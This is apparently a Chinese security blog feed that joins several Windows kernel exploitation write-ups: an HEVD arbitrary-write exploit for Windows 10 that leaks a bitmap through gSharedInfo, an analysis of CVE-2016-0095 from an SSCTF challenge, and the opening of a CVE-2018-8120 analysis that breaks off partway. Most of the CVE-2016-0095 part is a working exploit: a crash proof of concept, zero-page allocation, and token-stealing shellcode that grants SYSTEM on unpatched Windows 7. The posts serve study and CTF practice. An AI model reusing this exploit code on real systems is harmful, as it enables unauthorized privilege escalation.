好了我们整理完了win 8.1下的一些坑我们开始我们在win10中的利用,win8.1中最浪费时间的操作便是堆栈的平衡问题,那我们可不可以有更简单的方法提权呢?当然有的,我们都有任意读写的权限了不是吗,既然有任意读写的权限,那么我们完全可以用任意读写的操作实现对token的替换,我们甚至不用我们的shellcode都可以提权,这种做法非常的简便,并不需要考虑shellcode在内核中运行遇到的堆栈平衡问题,我们的关键点始终还是在泄露pvScan0的地方,我们在win 10 1607和win 10 1511中观察一下我们创建的Bitmap结构,和win 8.1进行比较,构造如下代码片段

1
2
3
4
5
6
int main()
{
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8, NULL);
__debugbreak();
return 0;
}

Win 8.1 x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x000000c4`d0540000
0: kd> ? rax&ffff
Evaluate expression: 1984 = 00000000`000007c0
0: kd> dq 0x000000c4`d0540000+0x18*7c0
000000c4`d054ba00 fffff901`40701010 40053105`00000c3c
000000c4`d054ba10 00000000`00000000 fffff901`43c5d010
000000c4`d054ba20 40012201`00000c3c 000000c4`d0170b60
000000c4`d054ba30 fffff901`446c4190 41051405`00000000
000000c4`d054ba40 00000000`00000000 fffff901`400d6ab0
000000c4`d054ba50 40084308`00000000 00000000`00000000
000000c4`d054ba60 00000000`00000776 44003501`00000000
000000c4`d054ba70 00000000`00000000 fffff901`407e6010
0: kd> dq fffff901`40701010
fffff901`40701010 00000000`310507c0 80000000`00000000
fffff901`40701020 00000000`00000000 00000000`00000000
fffff901`40701030 00000000`310507c0 00000000`00000000
fffff901`40701040 00000000`00000000 00000002`00000010
fffff901`40701050 00000000`00000020 fffff901`40701268
fffff901`40701060 fffff901`40701268 00002472`00000010
fffff901`40701070 00010000`00000003 00000000`00000000
fffff901`40701080 00000000`04800200 00000000`00000000

Win 10 1511 x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000216`aa740000
0: kd> ? rax&ffff
Evaluate expression: 2711 = 00000000`00000a97
0: kd> dq 0x00000216`aa740000+0x18*a97
00000216`aa74fe28 fffff901`4222aca0 4005e605`00000dec
00000216`aa74fe38 00000000`00000000 00000000`00000936
00000216`aa74fe48 40004205`00000000 00000000`00000000
00000216`aa74fe58 00000000`00000a98 40004105`00000000
00000216`aa74fe68 00000000`00000000 fffff901`441e4380
00000216`aa74fe78 40102310`000006c8 000001fc`d4640fc0
00000216`aa74fe88 00000000`00000abf 40008404`00000000
00000216`aa74fe98 00000000`00000000 fffff901`406d94d0
0: kd> dq fffff901`4222aca0
fffff901`4222aca0 ffffffff`e6050a97 80000000`00000000
fffff901`4222acb0 00000000`00000000 00000000`00000000
fffff901`4222acc0 ffffffff`e6050a97 00000000`00000000
fffff901`4222acd0 00000000`00000000 00000002`00000010
fffff901`4222ace0 00000000`00000020 fffff901`4222aef8
fffff901`4222acf0 fffff901`4222aef8 00008999`00000010
fffff901`4222ad00 00010000`00000003 00000000`00000000
fffff901`4222ad10 00000000`04800200 00000000`00000000

Win 10 1607 x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
3: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x0000023e`1a210000
3: kd> ? rax&ffff
Evaluate expression: 3111 = 00000000`00000c27
3: kd> dq 0x0000023e`1a210000+0x18*c27
0000023e`1a2223a8 ffffffff`ff540c27 00055405`00001a20
0000023e`1a2223b8 00000000`00000000 00000000`00000b3e
0000023e`1a2223c8 0000600a`00000001 00000000`00000000
0000023e`1a2223d8 00000000`00000a90 00004104`00000001
0000023e`1a2223e8 00000000`00000000 00000000`00000aea
0000023e`1a2223f8 00003505`00000001 00000000`00000000
0000023e`1a222408 ffffffff`ff810c2b 00018101`00000918
0000023e`1a222418 0000019d`678a0820 00000000`00000acc
3: kd> dq ffffffff`ff540c27
ffffffff`ff540c27 ????????`???????? ????????`????????
ffffffff`ff540c37 ????????`???????? ????????`????????
ffffffff`ff540c47 ????????`???????? ????????`????????
ffffffff`ff540c57 ????????`???????? ????????`????????
ffffffff`ff540c67 ????????`???????? ????????`????????
ffffffff`ff540c77 ????????`???????? ????????`????????
ffffffff`ff540c87 ????????`???????? ????????`????????
ffffffff`ff540c97 ????????`???????? ????????`????????

实验中很明显的发现win 10 1607中我们的GdiShreadHanldleTable已经不是一个指针了,我们来看看有什么升级,图片中说明了已经不能够公开这个句柄表的地址了,那是不是就没办法了呢?

1564987015367

当然不是!我们总能够通过各种方法来泄露我们的 PrvScan0 ,这里就需要引入另外一个比较神奇的结构gSharedInfo

1
2
3
4
5
6
7
8
9
10
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;

其中的 aheList 结构如下,里面就保存了一个 pKernel 的指针,指向这个句柄的内核地址

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

先不管三七二十一,我们先泄露这个东西,再看看和我们的 Bitmap 有什么联系,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY leakaddr = NULL;
HMODULE huser32 = NULL;
HACCEL hAccel = NULL;
int nSize = 700;

lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(
GetModuleHandleW(L"user32.dll"),
"gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = pfindSharedInfo->aheList;

for (int i = 0; i < 0x3; i++)
{
hAccel = CreateAcceleratorTable(lPaccel, nSize);
leakaddr = &handleTable[LOWORD(hAccel)];
DWORD64 addr = (DWORD64)(leakaddr->pKernel);
printf("[+]leak address : 0x%p", leakaddr->pKernel);
DestroyAcceleratorTable(hAccel);
if(i = 3)
{
CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
}
}

运行一下查看结果,确实泄露了什么东西出来

1564969195115

解读一下上面的代码,我们首先创建了一块内存,其中的nSize选择了700的大小,因为后面我们使用CreateBitmap创建的对象传入的第一个参数是0x710,关于CreateBitmap中第一个参数width对生成对象的影响我就不过多阐述了,实验加上官方文档)可以给我们解释,然后我们获取了 user32.dll 中的 gSharedInfo 对象,我们在一个循环里使用 CreateAcceleratorTable 和 DestroyAcceleratorTable 不断创建释放了 hAccel 结构,其中计算的过程和我们泄露bitmap地址的过程类似,这里就会产生一个疑问,这个泄露的东西为什么和我们的 Bitmap 一样呢,要知道我们每次创建释放hAccel时候地址是固定的(你可以多打印几次进行实验),并且这个对象也是分配在会话池(sesssion pool),大小又相等,池类型又相同,如果我们申请了一块然后释放了,再用bitmap申请岂不是就可以申请到我们想要的地方,泄露的地址也就是bitmap的地址了,我们这里为了使得到的地址固定,堆喷射后使用了一个判断语句判断是否得到了稳定的地址,得到之后我们再加上相应的偏移也就是我们的 PrvScan0 了,于是我们构造如下代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
LeakBitmapInfo GetBitmap()
{
UINT loadCount = 0;
HACCEL hAccel = NULL;
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY firstEntryAddr = NULL;
PUSER_HANDLE_ENTRY secondEntryAddr = NULL;
int nSize = 700;
int handleIndex = 0;

PUCHAR firstAccelKernelAddr;
PUCHAR secondAccelKernelAddr;

PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo");// 获取gSharedInfo表
PUSER_HANDLE_ENTRY gHandleTable = pfindSharedInfo->aheList;
LeakBitmapInfo retBitmap;

lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);

while (loadCount < 20)
{
hAccel = CreateAcceleratorTable(lPaccel, nSize);

handleIndex = LOWORD(hAccel);

firstEntryAddr = &gHandleTable[handleIndex];

firstAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
DestroyAcceleratorTable(hAccel);

hAccel = CreateAcceleratorTable(lPaccel, nSize);

handleIndex = LOWORD(hAccel);

secondEntryAddr = &gHandleTable[handleIndex];

secondAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;

if (firstAccelKernelAddr == secondAccelKernelAddr)
{
DestroyAcceleratorTable(hAccel);
LPVOID lpBuf = VirtualAlloc(NULL, 0x50 * 2 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
retBitmap.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
break;
}
DestroyAcceleratorTable(hAccel);
loadCount++;
}

retBitmap.pBitmapPvScan0 = firstAccelKernelAddr + 0x50;


printf("[+]bitmap handle is: 0x%08x \n", (ULONG)retBitmap.hBitmap);
printf("[+]bitmap pvScan0 at: 0x%p \n\n", retBitmap.pBitmapPvScan0);

return retBitmap;
}

泄露了之后就好办了,也就是只需要替换一个token就行了,我这里用的是read和write函数不断的进行汇编shellcode的模仿,在ring3层实现了对token的替换,这样我们就可以不加入我们的shellcode从而提权,而这种方法也不需要考虑堆栈平衡,非常的方便,其中获取系统的一些信息的时候使用了NtQuerySystemInformation这个函数,通过它可以给我们提供很多的系统信息,具体的可以参阅官方文档

1
2
3
4
5
6
__kernel_entry NTSTATUS NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);

最后整合一下思路:

  • 初始化句柄等结构
  • 通过gSharedInfo对象来泄露我们的Bitmap地址
  • 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0
  • 通过不断的read和write,模拟token的替换,从而提权

最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里

0x03:Windows 10 后续版本的猜想

RS2

RS2版本中貌似将我们的 pkernel 指针给移除了,也就是说我们不能再通过 gSharedInfo 结构来泄露我们的内核地址了,不过有前辈们用tagCLS对象及lpszMenuName对象泄露了内核地址,能够泄露的话其实其他地方都好办了,泄露的方法我这里简单提一下,首先我们需要找到HMValidateHandle函数的地址,这个函数我们只需要传入一个窗口句柄,他就会返回在桌面堆中的tagWND对象指针,而通过这个指针我们就可以泄露出内核地址,这个函数地址我们可以通过IsMenu这个用户态函数获取到,我们来看一下函数的内容,可以看到 call 之后会调用到HMValidateHandle这个函数,那么我们只需要通过硬编码计算,获取 e8(call) 之后的几个字节地址就行了

1
2
3
4
5
6
7
8
9
10
kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28 sub rsp,28h
00007fff`17d489e4 b202 mov dl,2
00007fff`17d489e6 e805380000 call USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9 xor ecx,ecx
00007fff`17d489ed 4885c0 test rax,rax
00007fff`17d489f0 0f95c1 setne cl
00007fff`17d489f3 8bc1 mov eax,ecx
00007fff`17d489f5 4883c428 add rsp,28h

获取到HMValidateHandle函数之后我们只需要再进行一系列的计算获取lpszMenuName对象的地址,我们可以依据下图 Morten 所说的计算过程计算出Client delta

1565142151413

获取到了之后我们只需要和前面一样进行堆喷加上判断就能够泄露出Bitmap的地址,还需要注意的是偏移的问题,需要简要修改,下面是1703的一些偏移

1
2
3
4
2: kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF

RS3

RS3版本中 PvScan0 已经放进了堆中,既然是堆的话,又让人想到了堆喷射控制内核池,总之可以尝试一下这种方法

1564977577246

但是前辈们总有奇特的想法,又找到了另外一个对象 platte ,它类似与 bitmap 结构,可以用 CreatePalette 函数创建,结构如下

1564986199191

任意读写的方法只是改为了GetPaletteEntriesSetPaletteEntries,以后可以尝试一下这个思路

1564986238536

0x03:后记

利用里面,win8.1的坑比较多,和win7比起来差距有点大,需要细心调试,更往后的版本主要是参阅外国的文献,以后有时间再来实践

参考资料:

[+] SMEP原理及绕过:http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html

[+] ROP的选择:http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html

[+] Bitmap结构出处:http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/

[+] wjllz师傅的博客:https://redogwu.github.io/

[+] 参阅过的pdf:https://github.com/ThunderJie/Study_pdf

[+] RS2上的利用分析:https://www.anquanke.com/post/id/168441#h2-3

[+] RS3上 platte 对象的利用分析:https://www.anquanke.com/post/id/168572

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>本篇文章主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在
CVE-2016-0095 SSCTF Kernel Pwn Learning https://thunderjie.github.io/2019/08/19/CVE-2016-0095-SSCTF Kernel Pwn Learning/ 2019-08-19T14:21:37.000Z 2020-05-07T03:25:57.103Z 0x00:前言

本篇文章从SSCTF中的一道Kernel Pwn题目来分析CVE-2016-0095(MS16-034),CVE-2016-0095是一个内核空指针解引用的漏洞,这道题目给了poc,要求我们根据poc写出相应的exploit,利用平台是Windows 7 x86 sp1(未打补丁)

0x01:漏洞原理

题目给了我们一个poc的源码,我们查看一下源码,这里我稍微对源码进行了修复,在VS上测试可以编译运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include<Windows.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif

unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

bitmap.bmBits = bits;

SetLastError(NO_ERROR);

HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);

return (unsigned int)hBitmap;
}

#define eSyscall_NtGdiSetBitmapAttributes 0x1110

W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}

void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

int main()
{
Trigger_BSoDPoc();
return 0;
}

编译之后在win 7 x86中运行发现蓝屏,我们在windbg中回溯一下,可以发现我们最后问题出在在win32k模块中的bGetRealizedBrush函数

1
2
3
4
5
6
7
8
9
10
11
12
3: kd> g
Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
95d40560 f6402401 test byte ptr [eax+24h],1
3: kd> k
# ChildEBP RetAddr
00 97e509a0 95d434af win32k!bGetRealizedBrush+0x38
01 97e509b8 95db9b5e win32k!pvGetEngRbrush+0x1f
02 97e50a1c 95e3b6e8 win32k!EngBitBlt+0x337
03 97e50a54 95e3bb9d win32k!EngPaint+0x51
04 97e50c20 83e3f1ea win32k!NtGdiFillRgn+0x339
05 97e50c20 77c170b4 nt!KiFastCallEntry+0x12a

我们在此时在windbg中查看一下byte ptr [eax+24h]的内容,发现eax+24根本没有映射内存,此时的eax为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
3: kd> dd eax+24
00000024 ???????? ???????? ???????? ????????
00000034 ???????? ???????? ???????? ????????
00000044 ???????? ???????? ???????? ????????
00000054 ???????? ???????? ???????? ????????
00000064 ???????? ???????? ???????? ????????
00000074 ???????? ???????? ???????? ????????
00000084 ???????? ???????? ???????? ????????
00000094 ???????? ???????? ???????? ????????
3: kd> r
eax=00000000 ebx=97e50af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe973ae8
eip=95d40560 esp=97e50928 ebp=97e509a0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
95d40560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??

我们在IDA中分析一下该函数的基本结构,首先我们可以得到这个函数有三个参数,两个结构体指针,一个函数指针,中间的哪个参数我重命名了一下

1
2
3
4
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *EBRUSHOBJ, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned int))
{
...
}

我们在汇编中找一下蓝屏代码的位置,继续追根溯源,可以发现eax是由[ebx+34h]得到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
loc_95D40543:
push ebx
mov ebx, [ebp+EBRUSHOBJ]
push esi
xor esi, esi
mov [ebp+var_24], eax
mov eax, [ebx+34h] => eax初始赋值处
mov [ebp+arg_0], esi
mov [ebp+var_2C], esi
mov [ebp+var_28], 0
mov eax, [eax+1Ch] => 取eax+1c处的内容
mov [ebp+EBRUSHOBJ], eax
test byte ptr [eax+24h], 1 => 蓝屏
mov [ebp+var_1C], esi
mov [ebp+var_10], esi
jz short loc_95D4057A

我们在windbg中查询一下[ebx+34h]的结构,发现 +1c 处确实是零,直接拿来引用就会因为没有映射内存而崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
3: kd> dd poi(ebx+34h)
fdad0da8 288508aa 00000001 80000000 889c4800
fdad0db8 00000000 288508aa 00000000 00000000
fdad0dc8 00000008 00000008 00000020 fdad0efc
fdad0dd8 fdad0efc 00000004 00002267 00000001
fdad0de8 02010000 00000000 04000000 00000000
fdad0df8 ffbff968 00000000 00000000 00000000
fdad0e08 00000000 00000000 00000001 00000000
fdad0e18 00000000 00000000 00000000 00000000
3: kd> dd poi(ebx+34h)+1c
fdad0dc4 00000000 00000008 00000008 00000020
fdad0dd4 fdad0efc fdad0efc 00000004 00002267
fdad0de4 00000001 02010000 00000000 04000000
fdad0df4 00000000 ffbff968 00000000 00000000
fdad0e04 00000000 00000000 00000000 00000001
fdad0e14 00000000 00000000 00000000 00000000
fdad0e24 00000000 00000000 fdad0e2c fdad0e2c
fdad0e34 00000000 00000000 00000000 00000000

我们现在需要知道这个 +1c 处的内容是什么意思,根据刚才的回溯信息,我们在最外层的win32k!NtGdiFillRgn+0x339的前一句,也就是调用EngPaint之前下断点观察堆栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0: kd> u win32k!NtGdiFillRgn+0x334
win32k!NtGdiFillRgn+0x334:
95e3bb98 e8fafaffff call win32k!EngPaint (95e3b697)
95e3bb9d 897dfc mov dword ptr [ebp-4],edi
95e3bba0 8d4dc4 lea ecx,[ebp-3Ch]
95e3bba3 e882000000 call win32k!BRUSHSELOBJ::vDecShareRefCntLazy0 (95e3bc2a)
95e3bba8 8d4dc4 lea ecx,[ebp-3Ch]
95e3bbab e8258ff7ff call win32k!BRUSHSELOBJ::~BRUSHSELOBJ (95db4ad5)
95e3bbb0 8d8dd8feffff lea ecx,[ebp-128h]
95e3bbb6 e8d508f9ff call win32k!EBRUSHOBJ::vDelete (95dcc490)
0: kd> ba e1 win32k!NtGdiFillRgn+0x334
0: kd> g
Breakpoint 1 hit
win32k!NtGdiFillRgn+0x334:
95e3bb98 e8fafaffff call win32k!EngPaint (95e3b697)
0: kd> dd esp
97ffaa5c fdeac018 97ffaa7c 97ffaaf8 fda86d60
97ffaa6c 00000d0d 1c010886 0016fe9c 95e3b864
97ffaa7c 00023300 00000000 00000000 00000008
97ffaa8c 00000008 00000001 83e7bf6b 842188ea
97ffaa9c 00cff155 00000000 00000000 00026161
97ffaaac fe9c3008 97ffab7c 97ffaafc 00010001
97ffaabc 87051c35 00000000 00000000 0003767c
97ffaacc 00000000 0003767c 00000000 00026161

EngPaint函数参数信息如下

1
int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, unsigned int a5)

根据参数信息我们可以得到下面这两个关键参数

  • _SURFOBJ => fdeac018
  • _BRUSHOBJ => 97ffaaf8

我们在bGetRealizedBrush处下断,找到这两个参数的位置,根据计算由_BRUSHOBJ推出了_SURFOBJ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
3: kd> ba e1 win32k!bGetRealizedBrush
3: kd> g
Breakpoint 2 hit
win32k!bGetRealizedBrush:
95d40528 8bff mov edi,edi
3: kd> r
eax=fdb436e0 ebx=00000000 ecx=00000001 edx=00000000 esi=97ffaaf8 edi=fdeac008
eip=95d40528 esp=97ffa9a4 ebp=97ffa9b8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!bGetRealizedBrush:
95d40528 8bff mov edi,edi
3: kd> dd esp
97ffa9a4 95d434af fdb436e0 97ffaaf8 95d3d5a0
97ffa9b4 97ffaaf8 97ffaa1c 95db9b5e 97ffaaf8
97ffa9c4 00000001 97ffaa7c fdeac018 84218cca
97ffa9d4 00d14c9b 97ffa9e8 83e80c61 83e3fd72
97ffa9e4 97ffac20 95e3b697 badb0d00 ffb8e748
97ffa9f4 00000000 95dc3098 95e3b864 95e3bb98
97ffaa04 95d40528 00000000 00004000 00000000
97ffaa14 00000000 00000000 97ffaa54 95e3b6e8
3: kd> dd 97ffaaf8 => _BRUSHOBJ
97ffaaf8 ffffffff 00000000 00000000 00edfc13
97ffab08 00edfc13 00000000 00000006 00000004
97ffab18 00000000 00ffffff fda867c4 00000000
97ffab28 00000000 fdeac008 ffbff968 ffbffe68
97ffab38 ffa1d3a0 00000006 fdb436e0 00000014
97ffab48 00000312 00000001 ffffffff 83f2ff01
97ffab58 83e78892 97ffab7c 97ffabb0 00000000
97ffab68 97ffac10 84218924 00000000 00000000
3: kd> dd poi(97ffaaf8+34h)+10h => _SURFOBJ
fdeac018 00000000 1f850931 00000000 00000000
fdeac028 00000008 00000008 00000020 fdeac15c
fdeac038 fdeac15c 00000004 00002296 00000001
fdeac048 02010000 00000000 04000000 00000000
fdeac058 ffbff968 00000000 00000000 00000000
fdeac068 00000000 00000000 00000001 00000000
fdeac078 00000000 00000000 00000000 00000000
fdeac088 00000000 fdeac08c fdeac08c 00000000

我们在微软官方可以查询到_SURFOBJ的结构,总结而言就是_SURFOBJ->hdev结构为零引用导致蓝屏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;

0x02:漏洞利用

从上面的分析我们知道,漏洞的原理是空指针解引用,利用的话肯定是在零页构造内容从而绕过检验,最后运行我们的ShellCode,我们现在需要在bGetRealizedBrush函数中寻找可以给我们利用的片段,从而达到call ShellCode提权的目的,我们可以在IDA中发现以下可能存在的几个片段

  • 第一处

  • 第二处

1565692816144

看到第二个片段其实第一个片段都可以忽略了,因为[ebp+arg_8]的位置我们是不可以控制的,而第二个片段edi来自[eax+748h],所以我们是完完全全可以在零页构造这个结构的,我们只需要将[eax+748h]设置为我们shellcode的位置即可达到提权的目的,我们现在的目标已经清楚了,现在就是观察从漏洞触发点到我们 call edi 之间的一些判断,我们需要修改一些判断从而达到运行我们shellcode的目的,我们首先申请零页内存,运行代码查看函数运行轨迹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int main(int argc, char* argv[])
{
*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}

PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}

Trigger_BSoDPoc();
return 0;
}

我们单步运行可以发现,我们要到黄色区域必须修改第一处判断,不然程序就不会走到我们想要的地方,然而第一处判断我们只需要让[eax+590h]不为零即可,所以构造如下片段

1
*(DWORD*)(0x590) = (DWORD)0x1;

1565696359992

第二处判断类似,就在第一处的右下角

1
*(DWORD*)(0x592) = (DWORD)0x1;

最后一步就是放上我们的shellcode了,只是在构造的时候我们需要给他四个参数,当然也可以直接在shellcode里平衡堆栈

1
2
3
4
5
6
7
8
9
; IDA 里的片段
...
mov edi, [eax+748h]
...
push ecx
push edx
push [ebp+var_14]
push eax
call edi

所以我们构造如下片段即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __stdcall ShellCode(int parameter1,int parameter2,int parameter3,int parameter4)
{
_asm
{
pushad
mov eax, fs: [124h]// Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4// edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8]// Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
}
return 0;
}
*(DWORD*)(0x748) = (DWORD)& ShellCode;

最后整合一下思路:

  • 申请零页内存
  • 绕过判断(两处)
  • 放置shellcode
  • 调用Trigger_BSoDPoc函数运行shellcode提权

提权的代码和验证在 => 这里

1565696359992

0x03:后记

因为是有Poc构造Exploit,所以我们这里利用起来比较轻松,win 7 x64利用也比较简单,修改相应偏移即可

参考资料:

[+] k0shl师傅的分析:https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>本篇文章从SSCTF中的一道Kernel Pwn题目来分析CVE-2016-0095(MS16-03
CVE-2018-8120 Windows内核空指针解引用漏洞分析 https://thunderjie.github.io/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/ 2019-08-17T14:16:14.000Z 2020-05-07T03:26:02.896Z 0x00:前言

2018年5月微软发布了一次安全补丁,其中有一个是对内核空指针解引用的修复,本片文章从补丁对比出发,对该内核漏洞进行分析,对应CVE-2018-8120,实验平台是Windows 7 x86 sp1

0x01:补丁对比

对比四月和五月的安全补丁可以定位以下几个关键函数,逐个分析观察可以定位到我们本次分析的的关键函数SetImeInfoEx

1560868933354

可以看到五月的补丁对SetImeInfoEx多了一层检验

1560869047048

IDA中观察4月补丁反汇编如下,稍微添加了一些注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex)
{
signed int result; // eax
int v3; // eax
int v4; // eax

result = pwinsta;
if ( pwinsta ) // 判断 pwinsta 是否为空
{
